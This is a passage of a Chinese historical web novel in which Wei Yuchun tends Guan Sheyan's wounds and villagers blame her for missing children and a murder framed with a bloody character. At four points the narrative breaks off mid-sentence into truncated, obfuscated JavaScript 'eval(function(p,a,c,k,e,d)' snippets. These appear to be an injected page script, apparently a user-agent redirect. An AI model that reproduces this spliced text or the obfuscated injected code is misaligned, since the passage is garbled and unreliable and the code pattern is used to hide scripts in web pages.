这是一种光是叫人瞧上一眼便会生理性抵触的幻痛感……魏郁春盯着他的伤口,心中意味纠结而不明。虽然他不喜欢自己,自己也不愿与其接触过多,但对方毕竟也是为了冯家才挂了这一身的彩。 魏郁春瞥了一眼火势趋弱的泥坑,忽对关阇彦说道:“烧得差不多了,你和我来一趟屋子。” “做什么?” 关阇彦还有些在气头上,甭提知不知道魏郁春是想要帮她清洗伤口,就连好好回应她都算勉强。 “帮你包扎。” 提到包扎,关阇彦忽然颤起双肩,发现后背当真是轻巧得过分。 魏郁春以为他要说什么惊天动地话,结果嗓子眼跟着提了半天后,却听到他说:“糟了,当时在村郊忙着和敌人周旋,那些在后山采了半日的药草都没能带回来!” 魏郁春无语扶额,应他:“别担心,疗愈热病的草药早在你回来前就用完了,我爹娘去村中要了些回来,一些村人热情,给的草药品类很齐全。” 关阇彦颔了颔首,一副无事发生的模样,跟着魏郁春一起朝前院绕过。 回到前院,两个人并肩站在院中,面对杂物间和凹进去的小屋间,一时不知去从,默然半晌后,还是关阇彦先开了头:“你早就破了你我之间的男女之戒,这时候就不必再装模作样了。” 说罢,他带头跨出去一步,方向正对着自己的那只杂物间,边走边说:“今晚仅有我的房间没沾了那帮人的腥,不如先在我屋子里呆着。” 魏郁春的步伐不曾断过,她上辈子乃朔州府最富盛名的书院之女,虽为庶出,却没少受女诫的约束,但也因是庶出,她自小不会遭太多的管教,常常自己待在小阁中偷闲阅卷,看的终归是又多又杂了些,思想到底比一般女子开放跳脱得多。 她是忌惮不明的男女关系,但在更重要的事情面前,所谓规矩方圆,破了何妨?倒是关阇彦,他既曾说过自己有婚约,更该注意这些的人难道不应该是他吗? 他都无甚在意了,她又凭什么要耿耿于怀呢? 关阇彦也是发现魏郁春默不作声的,更没有先前窗前表现的那般不自在,心中冷哼一声:“这女人果真是会装,现被我戳穿面目,当真是不作妖了。” 魏郁春绕过几步路,去屋子里取来药草、小刀、干净的粗纱布和研磨药粉的小钵,灶屋里的木炭也被她取来了,连同水壶一起置在杂物间门前。然后才踏进关阇彦的屋子。暗暗的屋内,唯一的一盏油灯晾在靠窗的小角落里,闪着薄弱的光,一小片屋角像被蒙上了昏黄的纱布,毛茸茸的灰色边缘衔接黑幕,好似被剪碎的绒末。 魏郁春静静站在灯案边,单薄的背倒影出来的影子如同某种民俗神话里庄严的剪影。刀片割破粗纱时的摩梭声,好似也是一把利剑,能割破了狭窄屋间里有些诡异的寂静。 她又去灶屋边的井上打了一盆凉水过来,把适配的消炎类草药洗净,再将其投进小钵中,快速打烂,直到完全榨出药汁来。 门外的热水烧得好似差不多了,咕噜咕噜的,显得闹腾。 她跑到屋外拎来泥壶,往盛放清水的盆里倒入几汩,她伸手探得水温不烫不凉。这段忙活的时间里,她自做己事,不说话也不掀眼皮,好似屋子里就没关阇彦这个人一样。 他又觉得不自在了,觉得堂堂大男人又不是没长手,居然要女人上下服侍他,女人就女人了,还是个目中无人的主儿。他想要动身插手,却愣是盯着魏郁春手中盘转各事各物陷入了沉默,这些东西他都不曾见过,也根本帮不上什么忙。 罢了,等人把药送过来就自己动手吧。他先是自我安抚了一番。 魏郁春不知从哪块黑不溜秋的犄角旮旯拎来一只布条,泡在了温水里,浸润充分后又重重拧好,事了后才顾得上将目光置到关阇彦身上。 她拿着湿布往坐在床边的关阇彦走去。关阇彦忙收回盯着她轮转的眼神,装作漠然不理会的模样,眼皮都不掀起来一下,直接说道:“不麻烦你,我自己会包扎。” “好,”魏郁春二话不说就把湿布抛了出去,同拍苍蝇似的重重甩在了他的脸上。 “先把伤口的脓血擦干净了,才能上药。还有,你记得理理头发,稍微净些身子,衣物我会再给你取一套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏郁春掀开许久无甚波澜的眸子,饶有兴致地盯着他,还撂了把双袖子。她这副模样不知为何让关阇彦联想到了“登徒浪子”四字,他大脑空白了一阵,实在想不通她和方才在院外脆弱得几乎一戳便碎的女人,到底是不是同一个人。 魏郁春发了话:“把衣服脱了。” 关阇彦双目瞪大:“岂有此理?!” “你放心,你不是有婚约在身么?你有你的未婚妻瞧得上,我哪里敢高攀你?”她学起他那无厘头的话术,阴阳怪气地说着。 她就像拿捏了关阇彦的心态一般,他方才断不肯妥协的人,一听到她话里那古怪的味儿,到底要反抗。 他哼哼一声,两肩也跟着颤了一下:“您哪里是在说自己高攀不得我?倒像是在笑话我低微不已,高攀不上您。” “还啰嗦什么?你不脱,我便上手来扒,我可不想因为你出差错而牵连到我,”魏郁春眸光骤冰,冷冷说道。 她的确不像是要占便宜的模样,关阇彦也明白当下若要快点把伤口弄好,就不得不依赖她。 他总是喜欢要胡搅蛮的时候就耍起威风,但该做实事的时候也知道何为轻重缓急,从而沉着应事。于是想好利弊后,便收敛了傲气,颇为听话似的颔首应下她的要求。 他忍痛,慢慢将上衣脱下,残余的血块粘着布料,魏郁春就提着小刀,小心帮他把布料割去。 21. 大智若愚 湿布被重新浸润了一把温热的水,落回了魏郁春的手,她单手扶着他的肩头做支撑,另一只手则去够他偏右边的剑伤。 关阇彦的腰背虽生得扎实有力,但真凑近细看,实则就是薄薄一片,该有的肌肉都匀称地分布在该长的地方,精瘦精瘦。 他的皮肤大片暴露在夜晚的冷气中,屋子不算严实,一些分明很小的风踩着点故意溜进来,摇身一变,长了不少势头,绕着他上半身围成冷圈,弄得他打了好几个寒颤,肤上微热的温度也渐渐被凉风同化。 魏郁春用布巾擦拭了他的伤处,清理了污血,露出了剑口真实的面貌,原来这伤口虽看似骇目,却伤得不深,只要日日好生敷药修养,很快就能愈合。 这是魏郁春第一次与男子有这般亲密的接触,她的两颊倏地腾出一对浅浅的红晕,却很快散去。她突然变得谨小慎微了起来,眼神刻意压低,只瞧伤口,动作更是由不得自己触碰到他任何一寸与伤口无关的皮肤。 关阇彦的凉背被一片温热拂过,汗毛莫名竖了一阵,他还隐约瑟缩了一下身子,料是不舒坦。 魏郁春对他的态度犹如变回了最初,她不仅没有关心他,语气还带着刻意的嘲讽和疏离:“这会儿还不算什么,待会上药,你才更该忍着。” 关阇彦气不打一处来,气笑一声:“敢情你如此献殷勤,是打算借此报复我?” 魏郁春不惜多费口舌与其斗嘴:“那你才是真没良心的恶棍。” 二人你来我往的,斗嘴不下十来句,虽说心底都不大痛快,但却成功地帮关阇彦引走了注意力。他明显觉得痛觉有所缓解,甚至都没注意到魏郁春何时将药汁取来了。 薄月的碎光透过半掩着窗的竹帘,尽数融在昏黄的屋内灯光里,将关阇彦他的身躯衬地越发线条分明。魏郁春将药汁浸在纱布上,贴到了伤处。本是阴凉至极的药草不知怎的刚一触上肌肤,就炸出要命般的火辣辣的触觉,辣得关阇彦瞬间淌出热汗。 他又是极要面子的人,即便稳不住扭曲的面部神色,他还偏要刚着身板子,伪造出一副自己格外能吃痛的姿态来。 殊不知,他两条耷拉在腰侧的修长双臂,早就用力扒拉着床板,满手都是埋在肤下快要迸裂的青筋。 他这副模样在魏郁春眼里,就是很不老实的典型范例。他左手上还带着伤,这狠狠巴拉着床板子,也不怕碍着手。再者到时候手又痛着了,背脊再瞎动弹,又牵扯上了背上的伤,如此恶性循环……没个消停。 魏郁春立马绕到他正面,趁着他左手松劲,眼疾手快地将被草药汁浸过的纱布敷在他的左掌心。 灼热之痛伴着余毒草的余痛,一并搅合着他的神经,他两只手顿时脱离床板的支撑,变得无处安放起来。 关阇彦恶狠狠地哈出一口腥浊气,两只本就天生冷气的眸子在漆黑的乱发中,暗暗射着逼人的寒光:“冯迎春……你!” 魏郁春还是那副无关痛痒的模样,气定神闲地与他说道:“这才哪儿到哪儿?这些都是防止伤口感染的草药,改日,我还会带你去找镇上的郎中好好瞧病,以免落疾。” “银钱你出。” 关阇彦想自己内息大损,确实需要人看补,奈何他衣来伸手饭来张口的日子过惯了,现在还仗着救人一命的好处,使劲在魏郁春面前蹦跶来蹦跶去,完全没有最开始寄人篱下时下意识讨好别人的影子了。 “对策你出。”魏郁春应道,她已经将他背部的纱布缠了半圈,说完话后,就将自他腋下绕到前头的纱布递给了关阇彦,意思他自己绕好另外半圈。 他们前后一人扯着半圈,来来回回绕了三四趟,才了却了这桩事情。 关阇彦方要用刚上过炎药的手将新衣套上去,却被魏郁春制止。她从腰间抽出一条麻绳子,上面倒扎着无数细丝,看起来不修边幅。 她心思敏捷,见他发丝湿着,想到若就这样继续放任着不管,上面的潮气透过新换的干衣,也会触及伤处。于是她打算直接拿出一条麻草绳,将就着叫他暂时把头发绑好,别到肩侧。 但刚要开口,就看到他一副穿衣都艰难的模样,于是又直接先发制人,反手就撂起来他的乌黑长发,绕好麻草绳,快速打了结,抓在掌心使其耷拉在他的右肩头。 她的动作行云流水,惹得关阇彦来不及反应,等她了却手头之事时,他某种的诧异之色还未减退。她亦能捕捉到他眼中眸色,不过也意识到这些眸色好似偷偷摸摸的,不知在上演着什么风云变幻的戏码。 她晓得此子怕又是在脑补什么荒唐念头,还怀疑他下一秒会不会又像上次一样,冷不丁说出个“我有婚约”,闹得冷夜风越发凉骨…… 一些念头不过潦草地闪了闪浮影,就被她移除了脑海。她虽逼着自己冷静了下来,但不久前院中的血腥风波到底印象深刻,她只想着把关阇彦的伤口料理结束后,就与他对接好应对明日必来灾祸的对策。 她的话音打断了关阇彦带着诧异的脑补:“明日,我们到底该怎么办?难道就只是将尸体销毁后,坐以待毙么?” “我们既已确定王家遇难一事,难道不该趁早去查探一番?那王家的病妻的下落成谜,实在难叫人心安。我们将院中的三具尸体处理好了,王家可能会有的尸体,还有后山的那具孩子的尸体,难道今晚便不管了么?我见你至今对此不大关心,所以不明白。” 谈及正事,关阇彦向来沉稳可靠。 他旋即敛眸,眉眼冷峭,模样有些唬人。 他胸有成竹的声音响起:“冯家的尸体处理掉是为了保己名声。若要继续多事处理别处的尸体,小心着了敌人的道。虽然那些黑衣人没有再来骚扰我们,但安知他们是真的被全灭了,还是故意设局引我们做什么事?王家只有病妻王氏生死不明,这个悬念钩了你的心,安知这是不是他们诱引你入局的手段?” 他毕竟是吃过密林生死亏的人,所以比魏郁春更清楚这些黑衣人的底细,思绪必然谨慎得多。 魏郁春一时哑然,对他的观念深以为然。 紧接着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏郁春已经完全确定他不仅功夫了得,智慧和城府也极深,她分明对他的态度很不服气,但他好似只需略施小计,就可以牢牢攥住她的心神,让她毫不犹豫地相信他的安排。 有如此领导的魄力、极强的武识、出众的外贸条件,还有极好的家世修养…… 如此完美的人,到底有什么样的身份可以与他匹配? 关阇彦的话音又起:“今晚可能是我们最后的平静时光了,好好享受,那些事情就别惦记着了。” 他的声音很是疲惫,定是累了,含着剑寒气般目光的眸子不知何时已经阖上了半边。他的脸庞漫不经心地侧在肩侧,好似只需一人轻轻推一把他的肩,就能直接把人直接推散。 魏郁春没多说什么,因为她知道,若是周围还有危险,他绝不会松懈下来。她其实很佩服他,生死追击那么久,还能继续保持这么久的清醒神智…… 她又想到山上找到他的场景,想他当真是个生命力极顽强的人。 她也疲了,不敢也没有力气踏出屋子另寻栖地,索性依着床尾躺了下去,身子有意蜷曲着,完全背过关阇彦的方向。 终究是男女授受不亲,事情了却,她重新拾起了对此的重视。 22. 自证清白(1) 翌日清晨—— 村中人为务茶农,常常早起,故而天一亮,他们就发现了村中昨晚发现的异端。 其中,一些村人的孩子突然失踪不见,怎么找都找不到,家中上下鬼哭狼嚎,不出一会儿,全村闻风而动。 果不其然,他们很快就来找冯家的麻烦。 被下了蒙汗药却对此全然不知的冯家夫妻,听到外面叫唤他们的嚷嚷声,懵懵然醒来。 蒙汗药虽然已过药效,夫妻二人却还受其影响,脑子晕得转不动,只隐约觉得夜里好像有股不详的预感上了心头,使得他们无意识间勒紧了拥抱巧儿的臂膀……但到底是具体啥样的预感,他们怎么想都想不出来,只好用怪梦来形容他们的感受。 巧儿睡得最沉,外面杂声入不得她的耳,直到夫妻二人醒来动了她的身子,她才恍惚地跟着爹娘爬下床。 她终是听到了外面特别大声的叫唤声,里面多是在唤她爹娘和姐姐的名字。她不耐烦地揉揉眼睛,悄咪咪地靠在窗边,小手拨着竹帘,一眼望去竟见一大片乌泱泱的人头涌动在围栏外,险些要直接踏破珠栏,像极了要出栏的壮猪。 巧儿被吓得够呛,也终于清醒了,她眨巴眨巴眼,要去寻爹娘,结果爹娘早就一瘸一拐地出了屋子。 关阇彦和魏郁春在这波闹剧开幕前就醒了,知晓不久后会有村人上门找麻烦。 为避免男女之别的闲话闹起来,魏郁春提早出了杂物间,回了自己那只徒有半只窗板子的小屋间,装作在此休息一夜的模样来。 她没有跟着冯家夫妇出门去,她静静地立在屋子正门前旁的大扇窗后,靠着漏过朦胧晨光的竹帘,看着外面所发生的一切。 关阇彦亦是如此。 此时屋外,哄闹许久的村民见冯家夫妇出来应对,就像是落了水滴子的油锅一样,瞬间炸开了好几个度。 “大家今儿怎么这么早过来啊?” 冯母知道气氛不对,外面熙熙攘攘的人群太多,七嘴八舌下她也听不清楚他们在争辩什么。她只好弱弱问出一句,希冀借此缓解焦灼的气氛。 “我们为什么要过来?”几个手举锄头的中年男人红着脸,满目都是惆怅的红血丝,叫道,“我们好几家孩子自从昨日去了你家冯迎春的小学堂后,就失踪不见了!” 男人们说罢,人群间有又几个妇人婆娑着红肿的泪眼推搡着人潮,走到前头来,呜咽呜咽地喊着“我的孩子啊”。好不凄惨,闻着无不伤心落泪,方才火热热的村民瞬间偃旗息鼓,跟着妇人一起哀伤。 冯母听言,刹时脚步不稳,要不是有冯父托扶着,早就跌坐在地了。 她分明记得,昨日大姑娘冯迎春傍晚天未全黑时就吩咐孩子们下了学,她是亲眼看着这群孩子归家的啊。怎么一夜过去,说没了就没了呢?! 冯父亦是一副如遭雷劈之样,忙不迭地回应众人:“我家大姑娘是什么品行,大家都不清楚吗?她一个弱女子,怎么有本事绑走这么多孩子?!” “你家大姑娘什么品行?!本就是个痴呆儿,如今突然变得聪明伶俐,我是觉得蹊跷,如今一看,果真是妖邪上身!” “叫你家冯家大娘子出来问话!” 魏郁春将这些场景尽收眼底,心想关阇彦当真是料事如神。那些黑衣人十分狡猾,即便事情未做成,却还是有本事利用她的名声,再把那些龌龊事嫁祸于她,让她不好过。 她咬唇想好昨晚和关阇彦商量好的对策,毅然踏出屋子,快步上前帮忙搀扶母亲,辩道:“昨日孩子们归家很早,诸家那时都已采茶下山,只要不是孩子贪玩迟迟不归,敢问哪家晚上不曾见过孩子?若是真不曾,诸位来寻的时间怕早就提到昨日去了,怎么会等到现在?” “孩子们离开前,我特意轻点过人数,一一对应,没有差错。如今一早发现孩子们尽数失踪,该怀疑的时间点难道不应该是入夜后么?何时变作了傍晚?” “至于妖邪一说,我冯迎春敢对天发誓,绝不曾害过一条人命,不曾做过一件脏事!你们对我的恶意实在太大,即便我做了对你们有利的事情,到头来遇上事情,还不是不认一丝人情?” 当然,昨晚被她意外杀死的黑衣人只算是畜生。 魏郁春看似疾言厉色,实则她故意放大的嗓门,是在掩藏早已颤抖到快暴露的声线。 她不曾如此刚毅迎难过,自然需要克服很多心理上的压力。她的决心支撑着她所有的勇气,然决心之强,唯勇气源源不断也,所谓压力再难克服,她也不会放任不管。 村人们自然没见过这一面的魏郁春,一时被她的气概骇住,一介村夫言行举止不谈逻辑,自然很难很快找出破解她的言辞来。 他们之间有好几个遭了失子之痛的,的确被魏郁春说中了心事,心虚起来。还有一些过来凑热闹的村妇,她们都是在魏郁春这里写过信件受过照拂的,此时一番话竟让大家都羞愧起来,眼神之间皆是闪烁。 领在前头仍在哭闹呜咽的村妇,见众人再度沉默,干脆“噗通”一声猛坐在地,嘴里的嚷嚷声清晰了起来:“为什么我家孩子之前都是好好的,方来你那捞什子的学堂,一夜过去人就突然没了?!” “要不是你办那小学堂,我们家孩子就不会没了!” 一夜之间,除了不知名的乞丐野孩,还有王家的儿子,其余丢了的孩子刚好五个。一个妇人声起,其他四个同样心急如焚的妇人齐齐哭叫起来。她们的丈夫早已强忍着泪意,手里的农具被握得差点粉碎。 大家面对突然发生的大事,没一个肯冷静的,他们早就急于寻找一个发泄情绪的窗口。作为头号嫌疑分子的魏郁春,自然就成了这个窗口。 村人们的情绪再度被调动起来。 竟然还有人扯起了鬼神之说,这群人多是先前想要猥亵冯迎春却未果的流氓痞子。 “我看这冯大娘子干了坏事后,还能张口闭口的发誓个不停,多冷静啊,她立在这里,就是身上傍了鬼!鬼怕生气阳气,所以晚上跑出来占了身子作祟村子!那些孩子就这样被吃干抹净了吧!” 村中风云莫测,即便村风民风再淳朴的古溪村人,也躲不过人心愚昧的千古桎梏。一旦真发生了危及人们利益生命之事,站在舆论中央的人,就只能等待被千夫所指的命运。这种时候,寻日只会耍滑闹事的流氓地痞说的话,都变得分量十足。 村人们梗着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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远处的魏郁春似也有将计就计的打算,她抓着风口,高声而呼:“一夜之间就出了这么多大事,大家非要说孩子们的失踪与我相干,那王家那边的怪事岂不是也想一起扣我头上来?” “王家与我家相距如此之远,我一个女子是怎么神通至此,一边杀人一边偷孩子的?!这两桩事分明是旁人所做,你们不能因为小学堂一事就死死盯着我不放。难不成要指责我的帮凶,是一对瘸了腿的老夫妇,和一只才八岁的女娃娃么?!” 一些知晓冯家多出一个壮男定的村人们突然来了劲,说道:“最近,你家不是刚来了个来历不明的男人么?我看他就是可疑,不然怎么一来就出了这么多事?!” 自从昨晚被魏郁春威胁后,关阇彦就知道自己会有被推上风口浪尖的这一天。 他也早就呆不住了,刚好要出来透透气,于是果断推开屋门,嘴角含笑而道:“忘了和诸位父老乡亲说了,我啊是冯家的远房亲戚,哪里来的来历不明之说?还有,光在这里怀疑有什么用?这样吧,村民们带路,我跟后面看看去,才能洗清我们冯家的嫌疑啊。” 他甚至还特意给自己安了个方便见天光的身份,不知情的冯家夫妇双目大瞪,嘴中嗫嚅动着,却被魏郁春示意不要说话。 村民们沉默了半晌,想要反驳却没理,于是忍气吞声着带路,一帮人浩浩荡荡地踏着泥路前往王家。 途中扬起尘土无数,把诸人原本黑臭着的脸糊得如同地狱罗刹。 23. 自证清白(2) 冯家夫妇已经受了不少惊吓,若是再跟去王家看到脏东西,怕是要埋心病,而家中又不能不留人照拂小丫头冯巧儿。 考虑到这些的魏郁春提议让关阇彦陪着一起去应付灾祸,把爹娘和妹妹留在家中好好安养——她知道即便黑衣人手段狠烈,却因为不愿意做事留下痕迹而处处遮掩。他们若还有人在古溪村,必不会在白天出手害人。 加上,也有村民顾及魏郁春耍花招逃跑,还有意留人在冯家这边看着。 双重保障下来,魏郁春已没有理由再忧心。 此时将到王家,王家的柴门半掩着,并且明显是往院里内扣着的,想必是原本关得好好的,因为年轻夫妇的推搡而开了个口子。 除了领在最前头的村民,最靠前的就是魏郁春和关阇彦了。 大部分村民虽然性情刚烈冲动,面对邪性的东西还是会心存胆怯,他们至多肯让出一双眼睛够着去看王家的事物,躲在后头的模样像极了一群缩着脑袋的鹌鹑。 领头的汉子抽了抽鼻子,下意识咽着口水,才稍微大力地推开了一整片柴门。一股腐灼的黑气登时如饿虎般扑袭而来,邪性得很,不谈汉子,就连关阇彦都哆嗦了一下。 魏郁春的表情很不好,很明显,她本能地抗拒这种尸体微微腐烂,还泡在腥气血水里发酵出来的味道,但她不能退避,所以一直在强撑。 村子那对年轻夫妇说得不假,门一开,一具女人的尸体就极其明目张胆地趴在正前方,煞是戳目。 众村民干呕几声,纷纷变成了颤腿鹌鹑。 魏郁春本想继续强撑,但想想自己目前的处境,若显得太过冷静,反而太过格格不入,遭人怀疑。 于是她也学起了背后的女娘妇女们,捂住口鼻,脚步虚浮起来,看起来像是恨不得下一刻就要发昏过去。 她身侧的关阇彦微微睨了她一眼,牵强地皱了皱眉头,总觉得她这副模样实在是怪异。 紧接着,胆大的汉子们踏进王家,丢了孩子的村民还有不知底线的流氓也进去,魏郁春和关阇彦毋庸置疑也被强行推了进去。其余若干人等都等在外面听结果。 病妻王氏面容朝下,软趴趴地倒在院子的一地湿哒哒的泥土里——可近来不落雨,这一地湿泥从何而来呢? 答案只有一个,这片泥都是人血泡烂的,所以才腥臭无比。 关阇彦虽抵触靠近这具尸体,但却完全不害怕,他和几个汉子又率先走近尸身。然后就发现了更多细节,女尸身上衣物破烂不堪,但仔细去看就会发现划破衣物的伤口都很浅,根本不会让人淌出这么多的鲜血。这种障眼法对关阇彦来说早已习以为常,他思及黑衣人们常用刀剑,想要挑开衣服一探究竟。 但这病妻王氏本就死得不体面,他一个大男人的,在人死后还要窥视她的尸体实在是辱尸,他没有理由这么做。 他眼眸微转,刚好瞥到站在稍微后方的圈子里埋头沉思的魏郁春。他从地上捡起来一根树枝,交给了她。 “你挑开衣服看看这妇人身上是否有剑伤,如果没有就找其他的致命伤,搞清楚这妇人怎么死的也很关键,”他又道,“我去看看别的东西。” 魏郁春低眸瞥了一眼惨死尸身,心中有如被井石深压了般,说不出的沉重感。 她点头接过树枝,极其郑重,明白关阇彦也和她一样,想要维护死者最后一分体面。 关阇彦刚绕开几步,站在妇人面旁的汉子就哑然开口:“这王妇手掌里面好像还覆着什么东西!” 他闻声立马凑了过去,果然在妇人的指缝中看见几只可疑的痕迹,像极了某种字迹。他用树叶包着指尖,小心翼翼地挪开了王氏的手掌,看到的结果属实是令他大吃一惊——这是一只被划在血泥中的字,模样虽然扭曲,却能叫识字之人很清楚地辨认出它所指之意。 关阇彦故意没有念出此字为何,反而不假思索地念道:“这应当是死者死前留下的字迹,从字迹书写的宽细上来看,绝对是由死者本人的手指写就的。” 魏郁春听出他的语气上扬了不少,全然不见一丝低沉的情绪,他咬字挺重,和平时说话的方式大不相同。她下意识觉得,关阇彦此举是在故意强调这些信息,从而博走人们的眼球。 “字?!定然是这王妇死前看到了杀她的凶手,在最后一口气的时候给我们留下的线索。要不然,她干嘛还故意拿掌心遮掩着?!肯定是怕凶手发现了啊!” “还有!这王家分明除了这王氏的尸体外,谁都不见了!那凶手肯定是提前杀了王叔和他家儿子,尸体也销毁了,一家老小居然一个都不放过!” 汉子们自恃聪明,齐齐怒喊,一帮丢了孩子的妇人闻言又抽泣起来,模样之凄惨叫人不忍直视。 关阇彦掐点插进来一句话,眼睛眨都不眨地胡诌一通:“更不可思议的是,这字我还认识,一撇一捺的,勾得可工整了!” “到底是什么字啊!” “是啊是啊!” 众村民怒目圆睁,连心存胆怯而守在柴门外的村民也闻风而起,面红而愠,哪有半点抖腿鹌鹑的样子了! 魏郁春丢下树枝,提着裙摆风一样奔过来,盯着关阇彦目光所及之处看,在与王氏掌下之字“对视”的那一瞬间,她的面色刷一下就白了起来——因为那个字不是其他,就是“冯”字。 她好似被什么东西点住了哑穴,大脑一片空白不说,嗓子里也卡得一丁点声音都发不出来。 那些黑衣人这是存心要置她于死地,她本打算和关阇彦先糊弄村民一阵,等争取到证明自己的时间才继续做打算。 可现在,这铁板钉钉的“证据”眼看着就要被公示出来,她要如何抛开头顶上的屎盆子? 一旦冯字念出,她恐怕再也没有任何生路可求了——这群村民本就急忙寻她的仇,目前她还安好,还不是她借由王家出事,暂时撇开了大家对她的针对心理。 但是如果王家这边的脏事也被弄得和她脱不掉干系,即便大家都不信她一个小女娘有这般黑的手段,也会由愚昧和冲动驱使,彻底拿她和冯家泄愤。 当生命再度遭到威胁,她就会立马变成红眼的疯兽竭力保生。所以,她的脑回路早和理智搭不上任何关系。 在煞白面色的衬比下,她那双织着血丝的眼睛显得越发猩红,好似能立马绞死入目的所有东西。 她用这双眼睛紧紧盯着关阇彦,无声地警告他不要轻举妄动,但也无时无刻不向他传递出她那份极端卑微的求饶心——她只是想活着,就这么简单。 然而,关阇彦根本就没有看她一眼,故意将她手里妄图紧抓不放的,最后一根救命稻草夺走了。 “我看啊,这个字就是冯!刚巧不巧,就是冯迎春的冯啊!”他佯装惊诧,大呼而出。 魏郁春的眼底已经蓄满了怨恨却又无能为力的泪。 原来连他都不会帮自己了……她到底该怎么办?她怎么就自己帮不了自己呢?!她为什么这么没用!她要怎么救自己救家人?!她恨自己。 村民们一听这话,当即又炸开一锅,本就在魏郁春这头吃了不少哑巴亏的地痞流氓,当了出头鸟。纷纷指着魏郁春叫骂:“我就知道是你这个贱人惹的灾祸!你恶鬼缠身,罪孽滔天,该当下地狱!” “死贱人!妖女!下地狱!” “还我孩儿,还我孩儿啊!” 众人群起而攻之,眼看围在外头的村民也要一股脑地涌进来,关阇彦突然仰头大笑起来。 他虽笑着,眉眼却越发冷冽,好似随时就能发出几把利刃,将人活剐了去。 他高大的身躯像一堵墙般截在魏郁春面前,不让失了神智的村民靠近她。 晨光被全然挡住,魏郁春只能暂时躲在他的阴影下避难,忍泪听着男人的嚣张而冷酷的话语。 关阇彦率先剐了地痞流氓们一眼,动起一口毒牙的嘴辱骂起来:“哼,何时轮到你们这帮孬货出来脏人耳目了。平日见你们这些脏东西烂泥扶不上墙的,如今倒是会出风头了?敢情是惦记着大好姑娘没被你们玷污了,想着来寻仇吧。” 关阇彦身姿威武,气势更如只领域不容侵犯的雄狮,嚣张跋扈惯了的地痞流氓一句话都回不了嘴。 他们被当场打回了原型,哆哆嗦嗦地低顺着眼,在村民们时而鄙夷时而惊诧的眼神中,像只过街老鼠般仓皇逃走。 村民们也是没想到这男人长得这般不言不语的,一开口竟如此惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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村人们颤着声音,纷纷问起来,话语里早没了底气。 魏郁春抹了把眼睛,踏出被保护的阴翳,顺着关阇彦的意思,大大方方承认道:“这就是冯字,没有错。但它绝不可能出自王氏之手,是凶手故意陷害我,这才留下的东西。” “陷害?!”村人惶恐不已,“那也就是说,真正的凶手早已躲出去了!” 他们的注意力终于被转移,讨论的话题中心也不再是单调的冯家和冯迎春了:“这……这下不好了!那些人心黑手黑,以后是不是还要回来杀人偷孩子?!” “不要啊!我家孩子才五岁,我家孩子不能没了啊!” 已经丢了孩子的妇人哭得更厉害:“找不到凶手,我的孩儿就再也回不来了!呜呜呜,我的孩子,我的苦命孩子啊!” 关阇彦凝眸看着周身越来越混乱的场景,心想南禺民风开化之落后,死人丢人的事情不知要去报官,亦不知要如何去报官,他们心中几乎没有重心,甚至连官府是个什么东西都不清楚。 即便他们真有本事找上了官府,并且不计被滥收茶税的前嫌,要和官府合作,期间所费时间和精力早已不堪设想…… 并且,官府想来也不会愿意摊上这么个吃力不讨好的事情……真是难上加难。 那些黑衣人之所以盯上这里,估摸着也是觉得下起黑手容易,还不用担责。加上他们本身行事有序,不愿留痕,实在是有恃无恐——如若这次他们没有碰上关阇彦这么个硬茬儿,他们今儿还真就靠着这点手段叫冯迎春背上锅,自己逍遥快活而走了。 这南禺……还真是波涛汹涌,藏在深不见底的地方,叫置身事外的人察觉不到半点风声。 要不是他亲自过来走一遭,怕是要被继续蒙骗一辈子了。 关阇彦心中暗怒,身为安南都督,骨子里的责任感让他见不得这般事情在他眼皮子底下猖狂,加上他自己也吃了太多亏,他怎能不怒? 魏郁春的神色不比他好多少,灵魂本质亦是中原人的她,实际上也早已想到了这些点,心中悲愁却苦于难施其计。 她何时也能拥有制裁恶人的能耐? 24. 万念俱灰 关阇彦已经思忖完毕,他打着原本的盘算,对广大村民郑重地说道:“凶手逍遥法外,大家心里即便冤屈,也不可在此时就乱成一锅粥,焉知那些人会不会杀回来?况且,你们若真是害了冯家,岂不是顺了凶手的心?” 他心中有底,那些黑衣人收手后,即便有其他人在外,也不会再回古溪村了。 但他没有必要完全陈述这个事实,人心愚昧,恰当的利用反而对事态更有利,所以他要借此渲染人们心中的恐惧,就此团结他们。 他的声音洪亮,有种无形的领导力,让村民们心有余悸的同时还能闭言听他说话。 “但这件凶事也不可能就此了结,否则你们也会抓着这个把柄寻我亲戚家的麻烦,不如让给我和冯家娘子一些时间去解决这桩脏事,诸位意下如何?” 村民们心神涛动,眼神焦躁对接,互相窃窃私语起来:“他和冯家娘子……这,靠谱吗?凶手杀人如麻,他们有多少的本事?” “既然冯家和这些事情没关系,他们犯得着这么好心来帮我们?” “怕不是想要耍滑,故意逃走出去,好叫我们继续留在村中受苦受难!” 关阇彦对眼前之事早有预料,于是不紧不慢地补上几句:“不瞒诸位,我是冯家娘子的远房亲戚,总有一天得回乡去,奈何突然闹了这些事来,我要是就这么回去了,岂不是故意将冯家留在村中陪大家一起担惊受怕?冯家不景气许久了,我还目睹了诸位方才那番凶相,我是不敢保证以后你们会不会因为这些事情继续拿她出气。” 他说着说着,眼神就飘到了他身侧还在努力憋泪的魏郁春:“我也是听说了冯家大娘子的事情了,她常年遭些地痞流氓骚扰,意外遭毒蛇之害,才突然变了另一副模样。结果大家不去怪责那些地痞流氓,反而听风就是雨地对她多有偏见,更甚者背地诅詈其为恶鬼、妖邪。” 